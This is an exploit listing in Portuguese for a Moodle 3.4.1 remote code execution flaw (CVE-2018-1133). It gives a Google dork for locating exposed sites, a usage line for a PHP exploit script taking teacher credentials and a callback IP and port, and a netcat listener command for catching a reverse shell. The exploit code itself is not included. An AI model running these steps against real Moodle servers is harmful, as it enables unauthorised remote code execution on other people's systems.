Moodle Exploit

• Título do Exploit: Moodle v3.4.1 RCE Exploit
• Google Dork: inurl:"/course/jumpto.php?jump="
• Data: 15 de março de 2019
• Autor do Exploit: Darryn Ten
• Página inicial do fornecedor: https://moodle.org
• Link do software: https://github.com/moodle/moodle/archive/v3.4.1.zip
• Versão: 3.4.1 (Possivelmente < 3.5.0 e talvez até 3.x)
• Testado em: Linux com Moodle v3.4.1
• CVE : CVE-2018-1133

Um usuário com o papel de professor é capaz de executar código arbitrário.

Uso

php MoodleExploit.php url=http://example.com user=teacher pass=password ip=10.10.10.10 port=1010 course=1

user       The account username
pass       The password to the account
ip         Callback IP
port       Callback Port
course     Valid course ID belonging to the teacher

Certifique-se de estar executando um listener netcat na porta especificada antes de executar este script.

nc -lnvp 1010

Isso tentará abrir um shell reverso para o IP e porta do listener.

Notas

Este exploit é baseado em informações fornecidas por Robin Peraglie.

Leitura adicional: